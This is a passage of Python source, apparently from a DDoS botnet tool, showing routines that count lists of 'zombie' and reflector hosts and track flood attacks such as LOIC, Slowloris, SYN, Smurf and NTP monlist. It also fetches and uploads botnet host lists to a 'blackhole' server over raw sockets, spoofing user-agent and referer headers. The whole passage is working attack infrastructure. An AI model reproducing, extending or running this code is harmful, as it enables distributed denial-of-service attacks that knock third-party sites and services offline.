  1225. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1226. if self.options.verbose:
  1227. traceback.print_exc()
  1228. return #sys.exit(2)
  1229. # starting new zombie thread
  1230. def connect_zombies(self, zombie):
  1231. z=Zombie(self, zombie)
  1232. t = threading.Thread(target=z.connect, name=zombie)
  1233. t.start()
  1234. # single connection handling
  1235. def connect_zombie(self, zombie):
  1236. z=Zombie(self,zombie)
  1237. return z.connect()
  1238. def extract_proxy(self, proxy):
  1239. sep = ":"
  1240. proxy_ip = proxy.rsplit(sep, 1)[0]
  1241. if proxy_ip.startswith('http://'):
  1242. proxy_ip = proxy_ip.replace('http://', '')
  1243. elif proxy_ip.startswith('https://'):
  1244. proxy_ip = proxy_ip.replace('https://', '')
  1245. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1246. proxy_ip = 'localhost'
  1247. proxy_port = proxy.rsplit(sep, 1)[1]
  1248. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1249. return proxy_url
  1250. def proxy_transport(self, proxy):
  1251. proxy_url = self.extract_proxy(proxy)
  1252. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  1253. opener = urllib.request.build_opener(proxy)
  1254. urllib.request.install_opener(opener)
  1255. def check_mothership_chargo(self):
  1256. f = open(self.zombies_file)
  1257. self.zombies = f.readlines()
  1258. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1259. self.list_zombies = []
  1260. for zombie in self.zombies:
  1261. t = urlparse(zombie)
  1262. name_zombie = t.netloc
  1263. if name_zombie == "":
  1264. name_zombie = zombie
  1265. self.list_zombies.append(name_zombie)
  1266. self.num_zombies = str(len(self.zombies))
  1267. f.close()
  1268. f = open(self.aliens_file)
  1269. self.aliens = f.readlines()
  1270. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1271. self.list_aliens = []
  1272. for alien in self.aliens:
  1273. t = urlparse(alien)
  1274. name_alien = t.netloc
  1275. if name_alien == "":
  1276. name_alien = alien
  1277. self.list_aliens.append(name_alien)
  1278. self.num_aliens = str(len(self.aliens))
  1279. f.close()
  1280. f = open(self.droids_file)
  1281. self.droids = f.readlines()
  1282. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1283. self.list_droids = []
  1284. for droid in self.droids:
  1285. t = urlparse(droid)
  1286. name_droid = t.netloc
  1287. if name_droid == "":
  1288. name_droid = droid
  1289. self.list_droids.append(name_droid)
  1290. self.num_droids = str(len(self.droids))
  1291. f.close()
  1292. f = open(self.ucavs_file)
  1293. self.ucavs = f.readlines()
  1294. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1295. self.list_ucavs = []
  1296. for ucav in self.ucavs:
  1297. t = urlparse(ucav)
  1298. name_ucav = t.netloc
  1299. if name_ucav == "":
  1300. name_ucav = ucav
  1301. self.list_ucavs.append(name_ucav)
  1302. self.num_ucavs = str(len(self.ucavs))
  1303. f.close()
  1304. f = open(self.rpcs_file)
  1305. self.rpcs = f.readlines()
  1306. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1307. self.list_rpcs = []
  1308. for rpc in self.rpcs:
  1309. t = urlparse(rpc)
  1310. name_rpc = t.netloc
  1311. if name_rpc == "":
  1312. name_rpc = rpc
  1313. self.list_rpcs.append(name_rpc)
  1314. self.num_rpcs = str(len(self.rpcs))
  1315. f.close()
  1316. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1317. return self.total_botnet
  1318. def update_flying_stats(self):
  1319. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1320. with open(self.mothership_stats_file, "w") as f:
  1321. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "crashed": "0"}, f, indent=4) # starting reset
  1322. stats_json_file = open(self.mothership_stats_file, "r")
  1323. data = json.load(stats_json_file)
  1324. stats_json_file.close()
  1325. aflying = data["flying"]
  1326. aflying = str(int(aflying) + 1) # add new flying time
  1327. data["flying"] = aflying
  1328. stats_json_file = open(self.mothership_stats_file, "w+")
  1329. stats_json_file.write(json.dumps(data))
  1330. stats_json_file.close()
  1331. def update_mothership_stats(self):
  1332. stats_json_file = open(self.mothership_stats_file, "r")
  1333. data = json.load(stats_json_file)
  1334. stats_json_file.close()
  1335. acompleted = data["completed"]
  1336. acompleted = str(int(acompleted) + 1) # add new completed attack
  1337. data["completed"] = acompleted
  1338. stats_json_file = open(self.mothership_stats_file, "w+")
  1339. stats_json_file.write(json.dumps(data))
  1340. stats_json_file.close()
  1341. def update_targets_crashed(self):
  1342. stats_json_file = open(self.mothership_stats_file, "r")
  1343. data = json.load(stats_json_file)
  1344. stats_json_file.close()
  1345. tcrashed = data["crashed"]
  1346. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1347. data["crashed"] = tcrashed
  1348. stats_json_file = open(self.mothership_stats_file, "w+")
  1349. stats_json_file.write(json.dumps(data))
  1350. stats_json_file.close()
  1351. def update_missions_stats(self):
  1352. stats_json_file = open(self.mothership_stats_file, "r")
  1353. data = json.load(stats_json_file)
  1354. stats_json_file.close()
  1355. missions = data["missions"]
  1356. missions = str(int(missions) + 1) # add new mission target
  1357. data["missions"] = missions
  1358. stats_json_file = open(self.mothership_stats_file, "w+")
  1359. stats_json_file.write(json.dumps(data))
  1360. stats_json_file.close()
  1361. def update_scanner_stats(self, num):
  1362. stats_json_file = open(self.mothership_stats_file, "r")
  1363. data = json.load(stats_json_file)
  1364. stats_json_file.close()
  1365. scanner = data["scanner"]
  1366. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1367. data["scanner"] = scanner
  1368. stats_json_file = open(self.mothership_stats_file, "w+")
  1369. stats_json_file.write(json.dumps(data))
  1370. stats_json_file.close()
  1371. def update_transferred_stats(self, num):
  1372. stats_json_file = open(self.mothership_stats_file, "r")
  1373. data = json.load(stats_json_file)
  1374. stats_json_file.close()
  1375. transferred = data["transferred"]
  1376. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1377. data["transferred"] = transferred
  1378. stats_json_file = open(self.mothership_stats_file, "w+")
  1379. stats_json_file.write(json.dumps(data))
  1380. stats_json_file.close()
  1381. def update_max_chargo(self, chargo):
  1382. stats_json_file = open(self.mothership_stats_file, "r")
  1383. data = json.load(stats_json_file)
  1384. stats_json_file.close()
  1385. amax_chargo = data["max_chargo"]
  1386. if int(chargo) > int(amax_chargo): # new max chargo found
  1387. amax_chargo = chargo # add new max chargo
  1388. else:
  1389. amax_chargo = data["max_chargo"]
  1390. data["max_chargo"] = amax_chargo
  1391. stats_json_file = open(self.mothership_stats_file, "w+")
  1392. stats_json_file.write(json.dumps(data))
  1393. stats_json_file.close()
  1394. def update_loic_stats(self):
  1395. stats_json_file = open(self.mothership_stats_file, "r")
  1396. data = json.load(stats_json_file)
  1397. stats_json_file.close()
  1398. aloic = data["loic"]
  1399. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1400. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1401. data["loic"] = aloic
  1402. stats_json_file = open(self.mothership_stats_file, "w+")
  1403. stats_json_file.write(json.dumps(data))
  1404. stats_json_file.close()
  1405. def update_loris_stats(self):
  1406. stats_json_file = open(self.mothership_stats_file, "r")
  1407. data = json.load(stats_json_file)
  1408. stats_json_file.close()
  1409. aloris = data["loris"]
  1410. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1411. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1412. data["loris"] = aloris
  1413. stats_json_file = open(self.mothership_stats_file, "w+")
  1414. stats_json_file.write(json.dumps(data))
  1415. stats_json_file.close()
  1416. def update_ufosyn_stats(self):
  1417. stats_json_file = open(self.mothership_stats_file, "r")
  1418. data = json.load(stats_json_file)
  1419. stats_json_file.close()
  1420. aufosyn = data["ufosyn"]
  1421. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1422. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1423. data["ufosyn"] = aufosyn
  1424. stats_json_file = open(self.mothership_stats_file, "w+")
  1425. stats_json_file.write(json.dumps(data))
  1426. stats_json_file.close()
  1427. def update_spray_stats(self):
  1428. stats_json_file = open(self.mothership_stats_file, "r")
  1429. data = json.load(stats_json_file)
  1430. stats_json_file.close()
  1431. aspray = data["spray"]
  1432. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1433. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1434. data["spray"] = aspray
  1435. stats_json_file = open(self.mothership_stats_file, "w+")
  1436. stats_json_file.write(json.dumps(data))
  1437. stats_json_file.close()
  1438. def update_smurf_stats(self):
  1439. stats_json_file = open(self.mothership_stats_file, "r")
  1440. data = json.load(stats_json_file)
  1441. stats_json_file.close()
  1442. asmurf = data["smurf"]
  1443. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1444. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1445. data["smurf"] = asmurf
  1446. stats_json_file = open(self.mothership_stats_file, "w+")
  1447. stats_json_file.write(json.dumps(data))
  1448. stats_json_file.close()
  1449. def update_xmas_stats(self):
  1450. stats_json_file = open(self.mothership_stats_file, "r")
  1451. data = json.load(stats_json_file)
  1452. stats_json_file.close()
  1453. axmas = data["xmas"]
  1454. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1455. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1456. data["xmas"] = axmas
  1457. stats_json_file = open(self.mothership_stats_file, "w+")
  1458. stats_json_file.write(json.dumps(data))
  1459. stats_json_file.close()
  1460. def update_nuke_stats(self):
  1461. stats_json_file = open(self.mothership_stats_file, "r")
  1462. data = json.load(stats_json_file)
  1463. stats_json_file.close()
  1464. anuke = data["nuke"]
  1465. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1466. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1467. data["nuke"] = anuke
  1468. stats_json_file = open(self.mothership_stats_file, "w+")
  1469. stats_json_file.write(json.dumps(data))
  1470. stats_json_file.close()
  1471. def update_tachyon_stats(self):
  1472. stats_json_file = open(self.mothership_stats_file, "r")
  1473. data = json.load(stats_json_file)
  1474. stats_json_file.close()
  1475. atachyon = data["tachyon"]
  1476. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1477. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1478. data["tachyon"] = atachyon
  1479. stats_json_file = open(self.mothership_stats_file, "w+")
  1480. stats_json_file.write(json.dumps(data))
  1481. stats_json_file.close()
  1482. def update_monlist_stats(self):
  1483. stats_json_file = open(self.mothership_stats_file, "r")
  1484. data = json.load(stats_json_file)
  1485. stats_json_file.close()
  1486. amonlist = data["monlist"]
  1487. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  1488. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  1489. data["monlist"] = amonlist
  1490. stats_json_file = open(self.mothership_stats_file, "w+")
  1491. stats_json_file.write(json.dumps(data))
  1492. stats_json_file.close()
  1493. def uploading_list(self):
  1494. from io import BytesIO
  1495. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1496. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1497. abductions = "botnet/abductions.txt.gz"
  1498. troops = "botnet/troops.txt.gz"
  1499. robots = "botnet/robots.txt.gz"
  1500. drones = "botnet/drones.txt.gz"
  1501. reflectors = "botnet/reflectors.txt.gz"
  1502. crystals = "botnet/crystals.txt.gz"
  1503. warps = "botnet/warps.txt.gz"
  1504. if self.options.timeout: # set timeout
  1505. try:
  1506. timeout = int(self.options.timeout)
  1507. except:
  1508. timeout = 5
  1509. else:
  1510. timeout = 5
  1511. if timeout < 1:
  1512. timeout = 5
  1513. try:
  1514. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  1515. if self.options.forcessl:
  1516. if self.options.proxy: # set proxy
  1517. self.proxy_transport(options.proxy)
  1518. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1519. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1520. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1521. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1522. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1523. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1524. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1525. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1526. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1527. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1528. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1529. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1530. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1531. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1532. else:
  1533. if self.options.proxy: # set proxy
  1534. self.proxy_transport(options.proxy)
  1535. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1536. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1537. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1538. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1539. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1540. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1541. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1542. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1543. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1544. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1545. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1546. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1547. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1548. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1549. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  1550. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  1551. print('-'*12 + '\n')
  1552. print("[Error] [AI] Unable to uploading list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  1553. return
  1554. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  1555. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  1556. f_out_abductions = open('botnet/abductions.txt', 'wb')
  1557. f_out_abductions.write(f_in_abductions.read())
  1558. f_in_abductions.close()
  1559. f_out_abductions.close()
  1560. num_zombies = 0
  1561. with open('botnet/abductions.txt') as f:
  1562. for _ in f:
  1563. num_zombies = num_zombies + 1
  1564. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  1565. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  1566. f_out_robots = open('botnet/robots.txt', 'wb')
  1567. f_out_robots.write(f_in_robots.read())
  1568. f_in_robots.close()
  1569. f_out_robots.close()
  1570. num_robots = 0
  1571. with open('botnet/robots.txt') as f:
  1572. for _ in f:
  1573. num_robots = num_robots + 1
  1574. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  1575. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  1576. f_out_troops = open('botnet/troops.txt', 'wb')
  1577. f_out_troops.write(f_in_troops.read())
  1578. f_in_troops.close()
  1579. f_out_troops.close()
  1580. num_aliens = 0
  1581. with open('botnet/aliens.txt') as f:
  1582. for _ in f:
  1583. num_aliens = num_aliens + 1
  1584. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  1585. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  1586. f_out_drones = open('botnet/drones.txt', 'wb')
  1587. f_out_drones.write(f_in_drones.read())
  1588. f_in_drones.close()
  1589. f_out_drones.close()
  1590. num_drones = 0
  1591. with open('botnet/drones.txt') as f:
  1592. for _ in f:
  1593. num_drones = num_drones + 1
  1594. print("[Info] [UCAVs] on [Blackhole] : "+ str(num_drones))
  1595. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  1596. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  1597. f_out_reflectors.write(f_in_reflectors.read())
  1598. f_in_reflectors.close()
  1599. f_out_reflectors.close()
  1600. num_reflectors = 0
  1601. with open('botnet/reflectors.txt') as f:
  1602. for _ in f:
  1603. num_reflectors = num_reflectors + 1
  1604. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  1605. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  1606. f_out_crystals = open('botnet/crystals.txt', 'wb')
  1607. f_out_crystals.write(f_in_crystals.read())
  1608. f_in_crystals.close()
  1609. f_out_crystals.close()
  1610. num_crystals = 0
  1611. with open('botnet/crystals.txt') as f:
  1612. for _ in f:
  1613. num_crystals = num_crystals + 1
  1614. print("[Info] [NTPs] on [Blackhole] : "+ str(num_crystals))
  1615. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  1616. f_out_warps = open('botnet/warps.txt', 'wb')
  1617. f_out_warps.write(f_in_warps.read())
  1618. f_in_warps.close()
  1619. f_out_warps.close()
  1620. num_warps = 0
  1621. with open('botnet/warps.txt') as f:
  1622. for _ in f:
  1623. num_warps = num_warps + 1
  1624. print("[Info] [DNSs] on [Blackhole] : "+ str(num_warps))
  1625. print('-'*12 + '\n')
  1626. if not self.options.forceyes:
  1627. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  1628. print('-'*25)
  1629. else:
  1630. update_reply = "Y"
  1631. if update_reply == "n" or update_reply == "N":
  1632. os.remove('botnet/abductions.txt') # remove abductions file
  1633. os.remove('botnet/troops.txt') # remove troops file
  1634. os.remove('botnet/robots.txt') # remove robots file
  1635. os.remove('botnet/drones.txt') # remove drones file
  1636. os.remove('botnet/reflectors.txt') # remove reflectors file
  1637. os.remove('botnet/crystals.txt') # remove crystals file
  1638. os.remove('botnet/warps.txt') # remove warps file
  1639. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  1640. return
  1641. else:
  1642. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  1643. print('='*35)
  1644. zombies = self.extract_zombies()
  1645. if not zombies:
  1646. return
  1647. test = self.testing(zombies)
  1648. zombies_community = []
  1649. zombies_added = 0
  1650. f = open('botnet/abductions.txt')
  1651. abductions = f.readlines()
  1652. abductions = [abduction.strip() for abduction in abductions]
  1653. f.close()
  1654. fz = open(self.zombies_file)
  1655. zombies = fz.readlines()
  1656. zombies = [zombie.strip() for zombie in zombies]
  1657. fz.close()
  1658. for zombie in zombies:
  1659. if zombie not in abductions:
  1660. zombies_community.append(zombie)
  1661. zombies_added = zombies_added + 1
  1662. else:
  1663. pass
  1664. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  1665. aliens = self.extract_aliens()
  1666. if not aliens:
  1667. return
  1668. aliens_community = []
  1669. aliens_added = 0
  1670. f = open('botnet/troops.txt')
  1671. troops = f.readlines()
  1672. troops = [troop.strip() for troop in troops]
  1673. f.close()
  1674. fz = open(self.aliens_file)
  1675. aliens = fz.readlines()
  1676. aliens = [alien.strip() for alien in aliens]
  1677. fz.close()
  1678. for alien in aliens:
  1679. if alien not in troops:
  1680. aliens_community.append(alien)
  1681. aliens_added = aliens_added + 1
  1682. else:
  1683. pass
  1684. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  1685. droids = self.extract_droids()
  1686. if not droids:
  1687. return
  1688. droids_community = []
  1689. droids_added = 0
  1690. f = open('botnet/robots.txt')
  1691. robots = f.readlines()
  1692. robots = [robot.strip() for robot in robots]
  1693. f.close()
  1694. fz = open(self.droids_file)
  1695. droids = fz.readlines()
  1696. droids = [droid.strip() for droid in droids]
  1697. fz.close()
  1698. for droid in droids:
  1699. if droid not in robots:
  1700. droids_community.append(droid)
  1701. droids_added = droids_added + 1
  1702. else:
  1703. pass
  1704. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  1705. ucavs = self.extract_ucavs()
  1706. if not ucavs:
  1707. return
  1708. ucavs_community = []
  1709. ucavs_added = 0
  1710. f = open('botnet/drones.txt')
  1711. drones = f.readlines()
  1712. drones = [drone.strip() for drone in drones]
  1713. f.close()
  1714. fz = open(self.ucavs_file)
  1715. ucavs = fz.readlines()
  1716. ucavs = [ucav.strip() for ucav in ucavs]
  1717. fz.close()
  1718. for ucav in ucavs:
  1719. if ucav not in drones:
  1720. ucavs_community.append(ucav)
  1721. ucavs_added = ucavs_added + 1
  1722. else:
  1723. pass
  1724. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  1725. rpcs = self.extract_rpcs()
  1726. if not rpcs:
  1727. return
  1728. rpcs_community = []
  1729. rpcs_added = 0
  1730. f = open('botnet/reflectors.txt')
  1731. reflectors = f.readlines()
  1732. reflectors = [reflector.strip() for reflector in reflectors]
  1733. f.close()
  1734. fz = open(self.rpcs_file)
  1735. rpcs = fz.readlines()
  1736. rpcs = [rpc.strip() for rpc in rpcs]
  1737. fz.close()
  1738. for rpc in rpcs:
  1739. if rpc not in reflectors:
  1740. rpcs_community.append(rpc)
  1741. rpcs_added = rpcs_added + 1
  1742. else:
  1743. pass
  1744. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  1745. ntps = self.extract_ntps()
  1746. if not ntps:
  1747. return
  1748. ntps_community = []
  1749. ntps_added = 0
  1750. f = open('botnet/crystals.txt')
  1751. crystals = f.readlines()
  1752. crystals = [crystal.strip() for crystal in crystals]
  1753. f.close()
  1754. fz = open(self.ntps_file)
  1755. ntps = fz.readlines()
  1756. ntps = [ntp.strip() for ntp in ntps]
  1757. fz.close()
  1758. for ntp in ntps:
  1759. if ntp not in crystals:
  1760. ntps_community.append(ntp)
  1761. ntps_added = ntps_added + 1
  1762. else:
  1763. pass
  1764. print("[Info] [AI] New [NTPs] found : " + str(ntps_added))
  1765. dnss = self.extract_dnss()
  1766. if not dnss:
  1767. return
  1768. dnss_community = []
  1769. dnss_added = 0
  1770. f = open('botnet/warps.txt')
  1771. warps = f.readlines()
  1772. warps = [warp.strip() for warp in warps]
  1773. f.close()
  1774. fz = open(self.dnss_file)
  1775. dnss = fz.readlines()
  1776. dnss = [dns.strip() for dns in dnss]
  1777. fz.close()
  1778. for dns in dnss:
  1779. if dns not in warps:
  1780. dnss_community.append(dns)
  1781. dnss_added = dnss_added + 1
  1782. else:
  1783. pass
  1784. print("[Info] [AI] New [DNSs] found : " + str(dnss_added))
  1785. print('-'*12 + '\n')
  1786. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0: # not any zombie
  1787. os.remove('botnet/abductions.txt') # remove abductions file
  1788. os.remove('botnet/troops.txt') # remove troops file
  1789. os.remove('botnet/robots.txt') # remove robots file
  1790. os.remove('botnet/drones.txt') # remove ucavs file
  1791. os.remove('botnet/reflectors.txt') # remove rpcs file
  1792. os.remove('botnet/crystals.txt') # remove crystals file
  1793. os.remove('botnet/warps.txt') # remove warps file
  1794. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  1795. return
  1796. else:
  1797. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  1798. for zombie in zombies_community:
  1799. fc.write(zombie.strip()+"\n")
  1800. fc.close()
  1801. os.remove('botnet/abductions.txt') # remove abductions file
  1802. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  1803. for alien in aliens_community:
  1804. fc.write(alien.strip()+"\n")
  1805. fc.close()
  1806. os.remove('botnet/troops.txt') # remove troops file
  1807. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  1808. for droid in droids_community:
  1809. fc.write(droid.strip()+"\n")
  1810. fc.close()
  1811. os.remove('botnet/robots.txt') # remove robots file
  1812. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  1813. for ucav in ucavs_community:
  1814. fc.write(ucav.strip()+"\n")
  1815. fc.close()
  1816. os.remove('botnet/drones.txt') # remove drones file
  1817. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  1818. for rpc in rpcs_community:
  1819. fc.write(rpc.strip()+"\n")
  1820. fc.close()
  1821. os.remove('botnet/reflectors.txt') # remove reflectors file
  1822. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  1823. for ntp in ntps_community:
  1824. fc.write(ntp.strip()+"\n")
  1825. fc.close()
  1826. os.remove('botnet/crystals.txt') # remove crystals file
  1827. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  1828. for dns in dnss_community:
  1829. fc.write(dns.strip()+"\n")
  1830. fc.close()
  1831. os.remove('botnet/warps.txt') # remove warps file
  1832. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  1833. try: # open a socket and send data to the blackhole reciever port
  1834. host = self.blackhole
  1835. cport = 9991
  1836. mport = 9990
  1837. try:
  1838. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  1839. cs.connect(host, cport)
  1840. cs.send("SEND " + 'community_zombies.txt.gz')
  1841. cs.close()
  1842. f = open('botnet/community_zombies.txt.gz', "rb")
  1843. data = f.read()
  1844. f.close()
  1845. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1846. ms.connect(host, mport)
  1847. ms.send(data)
  1848. ms.close()
  1849. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  1850. time.sleep(1)
  1851. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1852. cs.connect(host, cport)
  1853. cs.send("SEND " + 'community_aliens.txt.gz')
  1854. cs.close()
  1855. f = open('botnet/community_aliens.txt.gz', "rb")
  1856. data = f.read()
  1857. f.close()
  1858. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1859. ms.connect(host, mport)
  1860. ms.send(data)
  1861. ms.close()
  1862. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  1863. time.sleep(1)
  1864. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1865. cs.connect(host, cport)
  1866. cs.send("SEND " + 'community_robots.txt.gz')
  1867. cs.close()
  1868. f = open('botnet/community_droids.txt.gz', "rb")
  1869. data = f.read()
  1870. f.close()
  1871. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1872. ms.connect(host, mport)
  1873. ms.send(data)
  1874. ms.close()
  1875. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  1876. time.sleep(1)
  1877. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1878. cs.connect(host, cport)
  1879. cs.send("SEND " + 'community_ucavs.txt.gz')
  1880. cs.close()
  1881. f = open('botnet/community_ucavs.txt.gz', "rb")
  1882. data = f.read()
  1883. f.close()
  1884. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1885. ms.connect(host, mport)
  1886. ms.send(data)
  1887. ms.close()
  1888. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  1889. time.sleep(1)
  1890. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1891. cs.connect(host, cport)
  1892. cs.send("SEND " + 'community_rpcs.txt.gz')
  1893. cs.close()
  1894. f = open('botnet/community_rpcs.txt.gz', "rb")
  1895. data = f.read()
  1896. f.close()
  1897. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1898. ms.connect(host, mport)
  1899. ms.send(data)
  1900. ms.close()
  1901. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  1902. time.sleep(1)
  1903. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1904. cs.connect(host, cport)
  1905. cs.send("SEND " + 'community_ntps.txt.gz')
  1906. cs.close()
  1907. f = open('botnet/community_ntps.txt.gz', "rb")
  1908. data = f.read()
  1909. f.close()
  1910. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1911. ms.connect(host, mport)
  1912. ms.send(data)
  1913. ms.close()
  1914. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  1915. time.sleep(1)
  1916. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1917. cs.connect(host, cport)
  1918. cs.send("SEND " + 'community_dnss.txt.gz')
  1919. cs.close()
  1920. f = open('botnet/community_dnss.txt.gz', "rb")
  1921. data = f.read()
  1922. f.close()
